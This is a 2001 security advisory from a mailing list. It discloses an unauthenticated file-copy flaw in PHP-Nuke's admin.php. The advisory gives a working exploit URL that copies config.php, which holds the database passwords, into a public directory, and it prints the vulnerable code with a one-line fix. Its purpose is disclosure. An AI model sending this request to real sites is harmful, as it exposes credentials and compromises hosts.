[UNIX] Security Vulnerability in PHP-Nuke Allows File Copying (admin.php)

From: support@securiteam.com
Date: 09/27/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [UNIX] Security Vulnerability in PHP-Nuke Allows File Copying (admin.php)
Message-Id: <20010927103418.73B3F138BF@mail.der-keiler.de>
Date: Thu, 27 Sep 2001 12:34:18 +0200 (CEST)

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  Security Vulnerability in PHP-Nuke Allows File Copying (admin.php)
------------------------------------------------------------------------

SUMMARY

 <http://www.phpnuke.org/> PHP-Nuke is an open source webpage portal that
powers many websites on the net. A security vulnerability in the product
allows attackers to cause it to copy files from and to anywhere on the
operating system hard drives (and thus gain access to or overwrite
sensitive files). This would allow an attacker to completely compromise
the remote host.

DETAILS

Vulnerable systems:
PHP-Nuke 5.2 and prior

Immune systems:
PHP-Nuke 5.0 RC1 (only this one)

Exploit:
First run the following URL:
http://www.example.net/admin.php?upload=1
&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php
&userfile_name=hacked.txt
(NOTE: URL wrapped for readability)

Then access the created file:
http://www.example.net/images/hacked.txt

And you will see config.php that contains the DB passwords. Any other file
can be copied just as easily.

Vulnerable code:
The admin.php contains this routine:

$basedir = dirname($SCRIPT_FILENAME);
$textrows = 20;
$textcols = 85;
$udir = dirname($PHP_SELF);
if(!$wdir) $wdir="/";
if($cancel) $op="FileManager";
if($upload) {
    copy($userfile,$basedir.$wdir.$userfile_name);
    $lastaction = ""._UPLOADED." $userfile_name --> $wdir";
    // This need a rewrite -------------------------------------> OMG! WE
AGREEEEEEEE lmao
    //include("header.php");
    //GraphicAdmin($hlpfile);
    //html_header();
    //displaydir();
    $wdir2="/";
    chdir($basedir . $wdir2);
    //CloseTable();
    //include("footer.php");
    Header("Location: admin.php?op=FileManager");
    exit;
}

That does not do a check to see if you are logged as admin or not, so you
can use it without any authentication.

Solution:
A temporary solution would be to change:
"if($upload) {"

To

"if (($upload) && ($admintest)) {"

ADDITIONAL INFORMATION

The information has been provided by <mailto:supergate@twlc.net>
supergate and <mailto:magnus@skjegstad.com> Magnus Skjegstad.

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